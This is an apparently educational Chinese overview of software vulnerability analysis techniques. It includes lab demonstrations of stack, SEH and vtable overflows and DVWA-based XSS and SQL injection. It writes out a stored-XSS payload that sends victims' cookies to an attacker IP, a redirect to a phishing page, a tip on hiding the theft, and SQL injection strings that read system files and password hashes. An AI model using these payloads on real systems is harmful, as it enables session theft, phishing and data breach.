精华内容
下载资源
问答
  • 软件漏洞分析简述

    万次阅读 2020-02-04 01:36:59
    软件漏洞 1.1漏洞的定义 漏洞,也叫脆弱性(英语:Vulnerability),是指计算机系统安全方面的缺陷,使得系统或其应用数据的保密性、完整性、可用性、访问控制等面临威胁。 漏洞在各时间阶段的名称 根据是否公开分为...

    1. 软件漏洞分析简述

    1.1 漏洞的定义

    漏洞,也叫脆弱性(英语:Vulnerability),是指计算机系统安全方面的缺陷,使得系统或其应用数据的保密性完整性可用性访问控制等面临威胁。

    1.1.1 漏洞在各时间阶段的名称

    根据是否公开分为:未公开漏洞、已公开漏洞

    根据漏洞是否发现分为:未知漏洞、已知漏洞

    根据补丁和利用价值是否发布分为:0day漏洞、1day漏洞、历史漏洞

    图1 漏洞在各时间阶段的名称

    1.2 漏洞的特点

    1. 持久性和时效性

    持久性:随着时间的迁移,旧的漏洞会不断消失,新的漏洞会不断出现

    时效性:当超过一定的时间限制,漏洞的威胁就会逐渐减少直至消失

    1. 可利用性和隐藏性

    可利用性:攻击者能够利用漏洞对系统带来威胁和损失

    隐蔽性:往往需要通过特殊的漏洞分析手段才能够发现

    1. 广泛性和具体性

    广泛性:会影响到很大范围的软硬件设备

    具体性:存在于具体的环境或者条件中

    1.3 漏洞的影响

    1. 可以引发恶性的Web攻击事件,从而使得公民的权益受到伤害。例如:2011年12月21日,中国最大的程序员社区网站CSDN被爆出有超过600万用户的注册资料,尤其是用户口令遭泄露。

    2. 可以引发传播广泛的计算机病毒。随着互联网技术的发展,攻击者可以借助某个软件漏洞肆意传播恶意的病毒和文件。如在尼姆达,蓝宝石,冲击波和震荡波等事件中,攻击者利用现有的漏洞传播漏洞,给社会造成巨大损失。

    3. 可以引发后果严重的系统故障。如1962年,发射往金星的水手一号探测器在发射 293
      秒后偏离了预定轨道。它的任务在 5
      个星期后由成功发射的水手二号完成。这次失败的原因是一个程序员将某个公式转换成了计算机代码转错了,漏了一个下标。这个下标原本是半径
      R 的第 N
      次平滑时间导数值。由于缺少数据光滑化处理功能,制导系统把正常速度当成错误处理,并造成了修正不精确,最终探测器偏离航向的。

    4. 利用软件漏洞可以实现高级的可持续攻击。攻击者联合多个0day漏洞对重要的信息系统发起长时间攻击,如震网,火焰等病毒。

    1.4 软件漏洞必然存在的原因

    1. 由于计算机基于冯诺依曼体系结构,所以决定了漏洞存在的必然性。

    2. 作为互联网基础的TCP/IP协议栈在设计之初主要源于互联互通和开放性。

    3. 新技术的出现增加了互联网的复杂性,增大了漏洞产生的概率。

    4. 软件开发的各个环节都是人为参与的,缺乏经验或者疏忽等都可能引发漏洞。

    2. 软件漏洞分析技术概述

    随着社会经济的发展,互联网也随之迅速的发展,软件已经充斥在我们生活的方方面面,为我们提供便利的同时也带来了安全隐患,因此软件漏洞分析技术的重要性不言而喻。软件漏洞分析技术主要分为:软件架构安全分析技术、源代码漏洞分析技术、二进制漏洞分析技术和运行系统漏洞分析技术四大类。图2.1说明各技术之间的关系。

    图2.1 软件漏洞分析体系

    2.1 软件架构安全分析

    软件架构是软件的“骨架”,是软件开发生命周期中代码编写的基础。在此阶段进行软件漏洞的分析具有指导性的意义,能够及时发现有问题的部分并进行修正,可以减少后期的维护和产生的危害。图2.2是软件架构安全分析的基本原理。

    图2.2 软件架构安全分析原理

    目前,关于软件架构安全分析技术在国内外还处于探索和发展阶段,已形成的技术主要分为:形式化分析和工程化分析,具体如2.3。

    图2.3 软件架构安全分析技术分类

    2.2 源代码漏洞分析

    源代码漏洞分析主要是对高级语言编写的程序进行分析以发现漏洞。源代码作为软件的最初原型,其中的安全缺陷可能直接导致软件漏洞分产生,因此源代码漏洞分析显得尤为重要。目前源代码漏洞分析主要采用静态分析的方法,由于该方法不受程序的输入和运行环境等因素的影响,所以可能发现动态分析难以发现的软件漏洞。源代码漏洞分析一般包含源代码的模型提取,对历史漏洞、程序代码进行特征提取,静态的漏洞分析和结果分析等四个步骤,通过这四个步骤完成对源代码的漏洞分析,结构图如图2.4所示。

    图2.4 源代码漏洞分析原理

    2.3 二进制漏洞分析技术

    尽管源代码漏洞分析技术具有分析范围广,能够发现一些发现动态分析难以发现的软件漏洞等特点,但是实际应用中很多应用软件都是以二进制代码的形式(如库文件)的形式存在的,所以对二进制漏洞分析技术的研究具有很强的实际意义。

    其分析对象是源代码编译后生成的二进制代码,其中的主要技术环节包括:反汇编逆向分析、中间表示、漏洞建模、汇编代码结构化、污点分析/动态数据流分析、符号执行/控制流执行等,其一般原理如图2.5所示。

    图2.5 二进制漏洞分析一般原理

    二进制漏洞分析技术种类繁多,从程序是否运行的角度可以分为:静态分析技术和动态分析技术;从操作的自动化角度可以分为手动分析和自动/半自动分析。本次汇报的介绍主要针对程序是否运行的角度进行实验,从此角度出发我们将二进制漏洞分析技术分为:静态分析、动态分析和动静态结合分析,实验中以动态分析为主,静态分析为辅进行漏洞的分析。

    2.4 运行系统漏洞分析

    系统是多种软件或者模块的有机整体,因此运行系统漏洞分析技术相对于单个软件的漏洞分析变现出:更加复杂,分析难度更大等特点。目前,漏洞分析人员通过信息搜集、漏洞检测和漏洞确认三个步骤对运行的系统进行漏洞分析,其过程如图2.6所示。

    图2.6 运行系统漏洞分析原理

    2.5 技术总结

    软件漏洞分析技术多种多样,需要针对软件的来源,漏洞的类型,分析人员的擅长等因素进行选择。在汇报的实验中,由于都是针对某个漏洞类型进行验证,没有涉及到软件架构和系统等概念,故实验中主要利用二进制漏洞分析技术中的静态分析、动态分析和动静结合的分析技术。针对动态分析技术,所使用的软件有:OllyDbg和Windbg,选择Windbg有个特点,即其对于Windows自带原生的软件更加适用;针对静态分析技术,所使用的软件为IDA
    Pro。各个软件的特点和图标如表2所示,对用的图标如3.7所示。

    表2 各个软件的特点和图标
    名称 特点 图标
    OllyDbg OllyDbg是一个动态追踪工具,是当今最为流行的调试解密工具。同时还支持插件扩展功能,是目前最强大的调试工具。 在这里插入图片描述
    WinDbg Windbg是在windows平台下,强大的用户态和内核态调试工具。 在这里插入图片描述
    IDA Pro 是目前最棒的一个静态反编译软件,为众多0day世界的成员和ShellCode安全分析人士不可缺少的利器。 在这里插入图片描述

    3 主要的漏洞攻击技术

    正所谓:知己知彼百战百胜,只有具备犯罪能力的人才能洞察他人的犯罪行为。做为一个白帽子的安全人员,需要对黑帽子(攻击者)所使用的攻击技术进行学习,才能以攻击者的角度对软件或者系统等进行漏洞的挖掘、分析和修复。本部分主要介绍现实中一些主要的漏洞攻击技术,包括:栈溢出、堆溢出、S.E.H的利用、攻击C++的虚函数、Heap Spray、XSS(Cross Site Script)、sql注入等。

    3.1 栈溢出

    3.1.1 栈简介

    栈,即堆栈,是一种具有一定规则的数据结构,它按照先进后出的原则存储数据,先进入的数据被压入栈底,最后的数据在栈顶。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。

    堆栈数据结构的两种基本操作:

    • PUSH:将数据压入栈顶

    • POP :将栈顶数据弹出

    3.1.2 栈溢出利用

    本次实验采用函数调用的形式,此时会为被调用的函数开辟一个临时的栈空间,然后在被调用函数中创建一个buffer缓冲区用于栈溢出(即当覆盖缓冲区大小超过buffer的大小时则会破坏外面的存储空间),其原理如图3.1所示。

    图3.1 栈溢出原理

    实验代码(如图3.2所示)主要实现密码的字符串匹配,代码本身逻辑没有错,但缺少了对字符串长度的判断,故当密码长度过长的时候保存在buffer缓冲区中会溢出,导致可能出现代码本身之外的执行流程。实验时我们使用特点的密码字符串(包含可执行代码、填充和有效的返回地址),在程序执行过程中将该字符串复制到buffer中,通过进行设计使得返回地址置为buffer的起始地址,因此verify_password函数返回时会跳转到buffer的起始地址去执行,即改变了程序原本的执行流程,使得我们设计的机器代码(实验选择一个简单的弹出消息框代码)能够得到执行,执行效果如图3.3所示。

    图3.2 栈溢出利用代码
    图3.3 栈溢出漏洞利用效果

    3.2 S.E.H的利用

    3.2.1 S.E.H简介

    S.E.H即异常处理结构体(Structure Exception Handler),它是Windows异常处理机制所采用的重要数据结构。每个S.E.H都包含两个DOWRD(双字,即4个字节):S.E.H链表指针和异常处理函数句柄,共8字节,如图3.4所示。

    S.E.H结构通常存放于系统栈中,一般包含多个,最终形成链表的结构,如图3.5所示。

    图3.4 S.E.H结构
    图3.5 多个S.E.H构成链表的结构

    3.2.2 S.E.H的利用

    实验代码(如图3.6所示)使用之前介绍的栈溢出的方式进行S.E.H的利用,但有所区别,在于这里覆盖的不是返回地址而是异常处理结构体指针。代码首先声明了一个异常处理方法MyExceptionhandler,代码从主函数(main)调用test函数,在test函数中引发了一个除0异常并且为异常设置了异常处理的方法MyExceptionhandler,在程序正常执行过程中将会打印got an exception,press Enter to kill process!但是我们还是使用超长字符串复制到test函数的buf中,通过设置我们的字符串长度,精准覆盖我们的S.E.H指针,覆盖位置如图3.7所示,实验中将其覆盖为buf起始地址0x0012fe98,于是当发生异常的时候程序将会跳转到buf起始地址去执行,执行代码同栈溢出实验,即弹出消息框,效果同上。

    图3.6 S.E.H利用代码
    图3.7 覆盖位置示意图

    3.3 攻击C++虚函数

    3.3.1 虚函数简介

    C++类的成员函数在声明时,若使用virtual进行修饰则被称为虚函数,一个类中可能有多个虚函数,但虚函数的入口都被保存在虚表指针中,其虚表指针存放在对象的内存空间中,且紧接着是其他成员变量,其结构如图3.8所示。

    图3.8 虚函数结构图

    3.3.2 攻击C++虚函数

    实验代码(如图3.9所示)同样使用栈溢出的方式进行利用,这里的区别在于覆盖的是虚表指针。通过虚函数的结构知道虚表指针位于其他成员变量前4字节处,故我们通过buf的指针地址-4即为虚表指针(p_vtable)地址,首先将虚表指针覆盖为我们即将复制字符串的后4个字节的起始地址0x004088CC,然后将该4个字节覆盖为buf的起始地址0x0040881C,该过程实现了:当程序调用虚函数时会去查找我们覆盖的虚变指针(此时指向复制字符串的后4字节处0x004088CC),然后去该4字节处查找虚函数(此时指向buf起始地址0x0040881C),因此我们设计的机器代码得到了执行,其覆盖效果示意图如图3.10所示,其执行效果同上。

    图3.9 虚函数利用代码
    图3.10 覆盖效果示意图

    3.4 Heap Spray简介

    针对浏览器的攻击中,常常结合使用堆和栈协同利用漏洞。在页面中,我们通过JavaScript可以申请堆内存,这使得我们可以把需要执行的代码布置到JavaScript申请到的堆块中。

    在使用HeapSpray的时候,一般将EIP(指令寄存器)指向0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等几个地址(其由先人实验得出),然后通过JavaScript申请大量内存,内存中包括我们需要执行的代码。该技术的利用示意图如图3.11所示。由于此攻击技术主要配合浏览器漏洞实现,故此处没有进行进一步的实验。

    图3.11 Heap Spray利用示意图

    3.5 XSS攻击

    3.5.1 XSS简介

    XSS(Cross Site Script),全称跨站脚本攻击。XSS 攻击,通常指黑客通过 HTML
    注入篡改网页,插入恶意脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击行为。于是,我们就可以从存在XSS漏洞的网站中,盗取用户Cookie、黑掉页面、导航到恶意网站等操作。

    XSS漏洞出现原因在于网站服务器端没有对用户的输入进行有效的过滤,使得其直接展示在页面上,其主要发生在留言板、个人信息页面等。

    3.5.2 利用XSS获取用户的Cookie

    由于该漏洞发生在Web应用程序中,故实验之前需要搭建一个网站用于测试。根据网上现成的靶场DVWA(即开发完成的存在漏洞的Web应用程序)进行下载搭建,减少了自己开发Web应用程序的过程,而可以将注意力集中在漏洞的学习利用上。

    实验时我们测试典型的存储型XSS(即该输入的脚本会存到数据库中,当下一次访问时将会从数据库读取并再次显示在页面上)。使用的攻击脚本为:<script>alert(document.cookie);new Image().src=“http://192.168.25.1/log?”+escape(document.cookie);</script>,其中包括两部分脚本,首先是alert脚本,该脚本将访问该页面的用户的Cookie弹出;再者是new Image().src脚本,该脚本在访问时会向src指定的地址发送http请求,此时我们(在此作为攻击者,ip地址为192.168.25.1)搭建一个用于记录用户访问存在XSS漏洞的网页时发送的用户Cookie,通过两部分的Cookie进行对比,验证实验是否成功。实验中我们将攻击脚本存放在个人信息的输入中,界面如图3.12所示,点击Sign Guestbook则会把输入的数据显示在下方,当访问该页面时则会触发我们输入的两部分脚本,各部分触发效果图如图3.13-3.14所示。

    图 3.12 用于测试XSS的界面
    图3.13 alert脚本触发效果图
    图3.14接收用户发送的Cookie

    对比弹出消息框于接收的Cookie可能发现类似,但不太一样,出现该原因是web应用程序会将请求中的一些字符进行URL编码,将其进行解码得到相同的数据,成功窃取用户的Cookie。在实际攻击中,应该删除alert脚本,那么用户在访问漏洞页面时并不会察觉到自己的Cookie已经泄露,使得用户不会察觉出异常而对账号密码进行修改等操作。

    3.5.3 利用XSS重定向攻击者搭建的钓鱼网站

    在本次实验中我们使用的攻击脚本为:<script>window.location=“http://192.168.25.1/dvwa/vulnerabilities/xss_s/”</script>,其中window.location用于重定向操作,192.168.25.1为攻击者设计的跟用户访问网站相似的钓鱼网站ip。本次实验和利用XSS获取用户的Cookie实验类型,都将脚本存在用户信息中,当再次访问该页面则触发脚本,重定向到攻击者设计的钓鱼网站,效果如图3.15所示,即让用户输入账号密码,当用户上当输入账号密码之后,攻击者则成功获取了用户的信息。

    图3.15钓鱼网站登录页面

    3.6 SQL注入

    3.6.1 SQL注入简介

    SQL注入的基本原理在于利用程序对用户输入数据的检查不足或程序自身对变量的处理不足,把额外的SQL语句附加到中间层往后台数据库提交的语句中,轻则可以获取敏感信息,重则可以控制服务器。在SQL注入攻击中,入侵者通常将未经授权的数据库语句插入或注入有漏洞的SQL数据信道中,通常情况下攻击所针对的数据信道通常包括存储过程和web应用程序的输入参数,然后这些语句被传递到数据库中执行,这样攻击者就可以不受限制的访问整个数据库。

    其同XSS一样发生在Web应用程序中,该拓扑结构如图3.16所示,攻击者在表示层(即网页)利用漏洞进行SQL注入,从而获取超过本身能获取的信息或者控制权等。

    图3.16 Web应用程序拓扑图

    3.6.2 SQL注入利用

    本次实验分析的测试用例和方法主要针对MySQL,不同数据库测试方法有一些差异,但大同小异。这里假设demo为查询所要提交的值,首先通过
    在这里插入图片描述
    的方式试探脚本中共有几个变量接收数据。当返回页面没有出现错误时,证明变量的数量正好,观察页面中显示出来的数字,可以确定出能够用于显示结果的变量位置。

    在试探出接收数据的变量个数后,我们可以使用一些攻击用例进行攻击,在表3中列出以一些主要的SQL注入攻击测试用例和说明。

    表3 主要的SQL注入攻击测试用例和说明
    SQL注入攻击测试用例 说明
    demo demo’ and 1=1# demo’ and 1=2# 判断注入点。第一次为正常请求,如果存在注入漏洞,那么第二次请求得到的结果应该与第一次一样,并且第三次得到的结果应与前两次不同
    demo’ or 1=1# 返回所以数据,常用于有搜索功能的页面
    demo’ union select version()# 返回数据库版本信息
    demo’ union select database()# 返回当前数据库名
    demo’ union select user()# 返回数据库的用户名信息
    demo’ union select session_user()# 返回数据库的用户名信息
    demo’ union select system_user()# 返回数据库的用户名信息
    demo’ union select load_file(‘/etc/pwd’) 读取系统文件
    demo’ union select user,password from mysql.user 返回数据库用户的密码信息,其中密码一般以MD5的方式存储

    使用or 1=1进行全查,其效果图如图3.17所示。

    图3.17 使用or进行SQL注入利用效果图

    4 软件漏洞的发展趋势

    近几年,随着信息化的快速发展,对于软件漏洞分析技术和漏洞利用技术已经趋向于成熟化,很多黑客也利用这些技术进行攻击,正因为如此,极大地推进了软件漏洞领域的发展,如微软在Windows增加的GS、SafeSEH、DEP、ASLR、SEHOP等安全机制,使得原有的软件漏洞利用技术更加困难,从而大大提高了Windows的安全性。

    下面,我们将分析软件漏洞面临的主要挑战。

    4.1 移动终端漏洞

    现在移动设备随处可见,以智能手机为主的移动终端也逐渐被黑客所关注。随着移动设备的普及,针对移动设备的漏洞和病毒迅速增加,最受影响的移动设备主要为Android和IOS。除了移动设备本身的操作系统外,安装在系统上的其他应用程序也可能引发漏洞。

    这里根据CVE漏洞库(Common Vulnerabilities and Exposures),绘制出Android系统漏洞和IOS系统漏洞的2009-2015年每年漏洞数量统计图,如图4.1-4.2所示。

    图4.1 CVE漏洞库Android统计图
    图4.2 CVE漏洞库IOS统计图

    对于Android操作系统,由于其系统的开放性,除了系统本身存在的一些漏洞之外,其允许第三方应用程序随意安装在该系统上,这使得黑客可以对第三方应用程序进行漏洞挖掘并对漏洞进行利用,从而大大增大了Android移动设备的风险。

    对于IOS操作系统,由于其系统的封闭性和自身的安全性,使得漏洞攻击门槛比Android高很多,所以针对IOS平台的漏洞,在黑市中的价格非常高。如IOS越狱,在越狱中使用的漏洞是非常有价值的,一个越狱漏洞可能卖到50多万美元。

    综上,移动终端除了要提高操作系统本身的安全性之外,还需要对第三方软件、插件等进行严格的检查测试才能放上应用商城,若系统或者应用程序出现漏洞,应该强制用户进行升级,减少用户被攻击的风险。

    4.2 云计算平台漏洞

    近些年来,云计算平台可以让用户将自己的程序在云上进行运行,同时享受云所提供的服务和资源,节约了用户的软硬件成本,这使得云计算平台越来越流行。国内的云平台主要有阿里云、腾讯云、新浪SAE、百度云、盛大云等,国外的有Google
    GAE、亚马逊AWS、微软Azure等。

    从云计算平台构建结构来分,可以分为如图4.3所示的结构。

    图4.3 云计算平台结构图
    • SaaS(软件即服务):为消费者提供应用软件。

    • PaaS(平台即服务):为消费者提供系统平台,比如Windows、Linux等操作系统,以及相应的管理支撑软件、开发工具、安全系统等。

    • IaaS(基础设施即服务):为消费者提供服务器、存储设备、网络通信设备,以及其他IT基础设施资源。

    从整体的角度进行分析,如果黑客要攻击云平台,那么其最终的目的一般都是为了拿到底层数据中心里的存储数据,因此云安全的本质其实就是数据安全

    4.3 物联网漏洞

    物联网(Internet of things,简称IoT),即将物体接入互联网,使得人和物可以进行交互,从而使得人能够对物进行智能化的管理,比如智能门锁,智能摄像头、智能插座等等,如图4.4所示。

    图4.4 智能家居产品

    由于智能设备刚刚起步不久,业界对智能设备安全的经验不足,加上业界缺乏统一技术标准,导致一些隐患的存在。下面则是一些例子:

    • 对智能门锁进行破解后,就可能被入室盗窃,直接危害个人财产安全;

    • 若pos机子存在被劫持盗刷的漏洞,攻击者可以无需密码和银行卡的情况下直接盗取银行卡上的钱;

    • 对智能摄像头的漏洞进行利用,可以篡改监控视频、对视频内容进行获取等,如图4.5所示。

    图4.5 《窃听风云》中对监控系统进行篡改

    欢迎批评指正,若图片等等影响阅读,可以通过下载我上传的文档进行阅读!!!

    展开全文
  • 漏洞战争 软件漏洞分析精要
  • 软件漏洞概述

    2020-12-28 16:41:26
    文章目录一、软件漏洞的概念1、信息安全漏洞简述2、软件漏洞3、软件漏洞概念4、软件漏洞的成因分析二、软件漏洞标准化管理1、软件漏洞分类2、软件漏洞分级3、安全漏洞管理规范 一、软件漏洞的概念 1、信息安全漏洞...

    一、软件漏洞的概念

    1、信息安全漏洞简述

    信息安全漏洞是信息安风险的主要根源之一,是网络攻防对抗中的主要目标。由于信息系统漏洞的危害性、多样性和广泛性,在当前网路空间博弈中,漏洞作为一种战略资源被各方所积极关注。
    对于信息安全漏洞的不同认识有以下三个主要的共同特点:

    • 漏洞是信息系统自身的弱点或缺陷。
    • 漏洞存在环境通常是特定的。
    • 漏洞具有可利用性,若攻击者利用了这些漏洞,将会给信息系统带来不可估量的的损失。

    2、软件漏洞

    软件漏洞是信息安全系统漏洞的重要组成部分。分析、理解软件漏洞对于我们了解软件安全威胁是非常关键的。
    常说的软件漏洞包括软件错误、软件缺陷以及软件失效。其简单关系如下图:

    软件错误:开发人员在开发过程中出现的不符合预期效果的人为差错,其结果可能导致软件缺陷的发生。
    软件缺陷:软件运行过程中出现的有人为因素或其他客观原因引起的不希望出现的或不可接受的偏差。
    软件故障:软件运行出现感知的不正常的、不正确的或不按规范执行的状态。
    软件失效:指软件完全丧失规定功能,是软件缺陷的外在表现

    3、软件漏洞概念

    软件漏洞通常被认为是软件生命周期中出现的设计错误、编码缺陷以及运行故障。
    通常按照时间维度上的漏洞产生、发现、公开和消亡的角度,分为以下三类:

    • 0 day漏洞:指已经被发现,但未被公开或官方还未发布补丁的漏洞
    • 1 day漏洞:指厂商已经发现并公开了相关补丁,但由于部分用户还未及时打补丁,此漏洞依然具有可利用性。
    • 历史漏洞:距离漏洞补丁发布时间较久,不可利用的漏洞。

    漏洞的特点:

    • 持久性与时效性
    • 广泛性与具体性
    • 可利用性与隐蔽性

    4、软件漏洞的成因分析

    1)计算机系统结构决定了漏洞的必然性。
    下图说明了冯诺依曼体系计算机容易产生漏洞的原因:
    在这里插入图片描述

    2)软件趋向大型化,第三方拓展增多
    常用大型软件为了充分使软件功能得到扩充,通常会有第三方拓展,这些拓展插件的存在,增加系统功能的同时也导致的安全隐患的存在,研究表名“代码行数越多,缺陷也就越多“
    3)软件新技术、新应用产生之初即缺乏安全意识
    比如大多数网络协议,在设计之初就没有考虑过其安全性。当今互联网技术蓬勃发展,新技术的不断出现,也带来了大量新的安全按挑战。
    4)软件使用场景更具威胁
    网络技术是发展,软件被用于各行各业,遍及各个社会层次。软件开发者需要考虑的问题更多,并且黑客与恶意攻击者比以往有更多的机会和时间来访问软件系统,并尝试寻找、利用软件漏洞。
    5)软件安全开发重视度不够,开发者缺少安全意识。

    二、软件漏洞标准化管理

    1、软件漏洞分类

    1)基于漏洞成因的分类

    • 内存破坏类
    • 逻辑错误类
    • 输入验证类
    • 设计错误类
    • 配置错误类

    2)基于漏洞利用位置分类

    • 本地漏洞
    • 远程漏洞

    3)基于威胁类型分类

    • 获取控制
    • 获取信息
    • 拒绝服务

    2、软件漏洞分级

    在这里插入图片描述

    3、安全漏洞管理规范

    根据安全漏洞生命周期中漏洞发现、利用、修复和公开四个阶段,对应的管理行为分为预防、收集、消减和发布等实施活动。

    • 漏洞预防阶段:厂商采取相应措施来提高产品安全水平,对用户使用的计算机系统进行安全加固等安全配置
    • 漏洞收集阶段:漏洞收集组织与漏送管理涉及的各方沟通,广泛处理并收集漏洞,确认漏洞存在后回复报告方。
    • 漏洞消减阶段:依据处理策略在规定时间内修复漏洞,依据漏洞类型和危害程度优先开发高危漏洞修复措施。
    • 漏洞发布阶段:在规定时间内发布漏洞及相关修复措施。厂商应建立发布渠道,及时通知用户。
    展开全文
  • 软件漏洞已经成为威胁信息安全的一个重要课题。本文介绍了软件漏洞的现状、软件漏洞攻击技术,最后对如何防范漏洞攻击提出了自己的建议。
  • 软件漏洞分析

    2021-01-01 20:39:30
    软件漏洞分析的定义 广义漏洞分析:指的是围绕漏洞所进行的所有工作,包括: 漏洞挖掘:使用程序分析或软件测试技术发现软件中可能存在的未知的安全漏洞 漏洞检测:又称漏洞扫描,基于漏洞特征库,通过扫描等手段...

    软件漏洞分析的定义

    • 广义漏洞分析:指的是围绕漏洞所进行的所有工作,包括:
      • 漏洞挖掘:使用程序分析或软件测试技术发现软件中可能存在的未知的安全漏洞
      • 漏洞检测:又称漏洞扫描,基于漏洞特征库,通过扫描等手段对指定的远程或者本地计算机系统的安全脆弱性进行检测,以发现可利用的已知漏洞
      • 漏洞应用:借助漏洞堆软件或其依附的目标系统进行模拟攻击,并且对攻击代码进行生存性验证
      • 漏洞消除:对漏洞进行修复,包括漏洞防御、补丁修复、安全加固等
      • 漏洞管控:包括漏洞收集与发布、漏洞资源的积累与分析、漏洞的准则规范的制定等
    • 狭义漏洞分析:特指漏洞挖掘,包括:
      • 架构安全分析:在设计阶段进行软件架构分析,从更高、更抽象的层次保障软件安全性
      • 源代码漏洞分析:通常使用静态分析方法,整个过程包括源代码模型构造、漏洞模式提取、基于软件模型和漏洞模式的模式匹配
      • 二进制漏洞分析:包括静态分析和动态分析两种
      • 运行系统漏洞分析:分析对象是已经实际部署的软件系统,通过信息收集、漏洞检测和漏洞确认三个基本步骤堆软件系统进行漏洞分析

    软件分析技术概述

    技术类别 基本原理 分析阶段 分析对象 分析结果 优点 缺点
    软件架构安全分析 通过对软件架构进行建模,并对软件的安全需求或安全机制进行描述,然后检查架构模型直至满足所有安全需求 软件设计 软件架构 设计错误 考虑软件整体安全性,在软件设计阶段进行 缺少实用且自动化程度高的技术
    源代码漏洞分析 通过对程序代码的模型提取及程序检测规则的提取,利用静态的漏洞分析技术分析结果 软件开发 源代码 代码缺陷 代码覆盖率高,能够分析出隐藏较深的漏洞,漏报率较低 需要人工辅助,技术难度大,对先验知识(历史漏洞)依赖性较大,误报率较高
    二进制漏洞分析 通过对二进制可执行代码进行多层次(指令级、结构化、形式化等)、多角度(外部接口测试、内部结构测试等)的分析,发现软件程序中的安全缺陷和安全漏洞 软件设计、测试及维护 二进制代码 程序漏洞 不需要源代码,漏洞分析准确度较高,实用性广泛 缺乏上层的结构信息和类型信息,分析难度大
    运行系统漏洞分析 通过向运行系统输入特定构造的数据,然后对输出进行分析和验证的方式来检测运行系统的安全性 运行及维护 运行系统 配置缺陷 考虑由多种软件共同构成的运行系统的整体安全性,检测项全面,准确度高 对分析人员的经验依赖度较大

    源代码漏洞分析

    技术 基本原理 优点 缺点 典型工具
    数据流分析 数据流分析是一种用于收集计算机程序在不同点计算的值的信息的技术。进行数据流分析的最简单的一种形式就是对控制流图的某个节点建立数据流方程,然后通过迭代计算,反复求解,直到到达不动点 具有更强的分析能力,适合需要考虑控制流信息且变量属性之操作十分简单的静态分析问题 分析效率低,过程间分析和优化算法复杂,编程工作量大,容易出错且效率低 Coverity, Prevent, Llocwork, Fortify, SCA, FindBugs, Checkmax
    符号执行 符号执行是指用符号值替代真实值,模拟程序的执行,从而得到程序的内部结构及其相关信息,从而产生有针对性的测试用例 生成的测试用例有针对性,测试覆盖率较高,可以检测到深层次的问题 在进行系统化的符号执行时,会产生路径爆炸或是求解困顿等问题 EXE, KLEE, Clang, DART
    污点分析 该技术对输入的数据建立污点传播标签,之后静态地跟踪被标记数据的传播过程,检查是否有危险函数或是危险操作 该技术的优点在于可以通过对数据的传播快速地找到典型的与输入数据相关的漏洞 该技术有时会受到编译器优化的影响,同时需要构造污点传播树,这种树的构造比较复杂,有时需要人工介入 Pixy, TAJ
    模型检测 该技术主要通过将程序转换为逻辑公式,然后使用公理和规则来证明程序是否是一个合法的定理。如果程序合法,那么被测程序便满足先前所要求的安全特性 对路径的分析敏感,对于路径、状态的结果具有很高的精确性;检验并发错误能力较好,验证过程完全自动化 由于穷举了所有可能状态,增加了额外的开销;数据密集度较大时,分析难度很大;对时序、路径等属性,在边界处的近似处理难度大 SLAM, MOPS, Bandera
    定理证明 该方法主要是将原有程序验证中由研究人员手工完成的分析过程变为自动推导,其主要目的是证明程序计算中的特性 使用严格的推导证明控制检测的进行,误报率低 某些域上的公式推导缺乏适用性,对新漏洞扩展性不高 ESC, Saturn

    二进制漏洞分析

    技术 基本原理 应用范围 优点 缺点 典型工具
    模糊测试 向被测程序发送随机或预先给定的数据 以文件、网络数据或是本地输入以其他对外部输入数据依赖较大的软件 原理简单,执行所需计算量较少,相关工具较为成熟,可以很方便地应用于大型软件的测试中 测试用例针对性低,覆盖率较低,测试结果不确定性较大 SPIKE, Peach, Sully, BeStorm, MU-4000
    动态污点分析 对输入数据建立污染标签,在程序内部处理数据的同时加入污染标签的传播,通过分析标签的传播得出程序的内部结构 以文件、网络数据或是本地输入及其他对外部输入数据依赖较大的软件 可以获取程序内部的基本信息,易于发现与输入关联度较大的漏洞 需要动态插桩或是虚拟化等技术支持,实现较为复杂,并且污染传播算法对分析结果影响较大 TaintCheck, Dyta, Argos, Temu
    基于模式的漏洞分析 利用中间表示语言或是其他工具将漏洞抽象为具有一定特殊性的模式,最终通过找到这种模式进而找到相关漏洞 需要对被分析漏洞表现形式有较深了解,并且需要对被分析软件进行一定转化 对漏洞表现形式抽象程度较高,随着建模准确度的提升,漏洞分析的准确度和速度都会有很大提升,代表着未来研究的方向 目前的漏洞建模较为简单,有时误报率较高 BinNavi
    二进制代码比对 通过比对不同二进制文件,尤其是补丁文件与原文件之间的差异获取修改信息,从而定位并获取漏洞信息 需要有针对某一漏洞的补丁文件或是两个不同版本的同型软件 算法较为成熟,实现简单,有许多相关使用工具 由于需要补丁或新版软件的比对,所以该类技术仅能发现已被报告并修复的漏洞 Bindiff, IDA Compare, eEye Binary Diffing Suite
    智能灰盒测试 利用动态符号执行等技术,针对被测软件生成有针对性的测试用例,从而提高测试用例的覆盖能力 以文件、网络数据或是本地输入及其他对外部输入数据依赖较大的软件 可以有效提升测试用例的覆盖率,从而提高发现漏洞的可能性 由于算法和计算量等问题,在使用时容易出现路径爆炸和求解困顿等问题,对大型软件的测试效果不是很理想 SAGE, SmartFuzz

    运行系统漏洞分析

    技术 基本原理 应用范围 优点 缺点 典型工具
    配置管理测试 配置管理测试是对运行系统配置进行安全性测试,检查系统各配置是否符合运行系统的安全需求和制定的安全策略 检查配置漏洞 可以全面地分析和检查运行系统的配置项 需要对运行系统的业务需求,业务类型和运行环境有充分的了解,需要更多的人工介入 MBSA, Metasploit
    通信协议测试 通信协议验证是对运行系统通信协议中潜在的安全漏洞进行检测。攻击验证是常用的通信协议验证手段。它利用已知的攻击手段对运行系统进行模拟攻击以判断通信协议是否存在某种类型的安全漏洞 检测通信协议中潜在的漏洞 攻击验证的通信协议验证手段检测结果较为准确,能够用于大规模运行系统 攻击验证方法只适用于某些特定类型的通信协议安全漏洞检测 Nessus, Nmap
    授权认证测试 认证测试通过了解运行系统的授权、认证工作流程来尝试规避运行系统的授权、认证机制 检测运行系统中授权、认证机制中潜在的漏洞 分析结果较为准确 该类技术需要深入了解运行系统的授权认证工作,需要较多的人工参与分析工作 Nessus, WebScarab
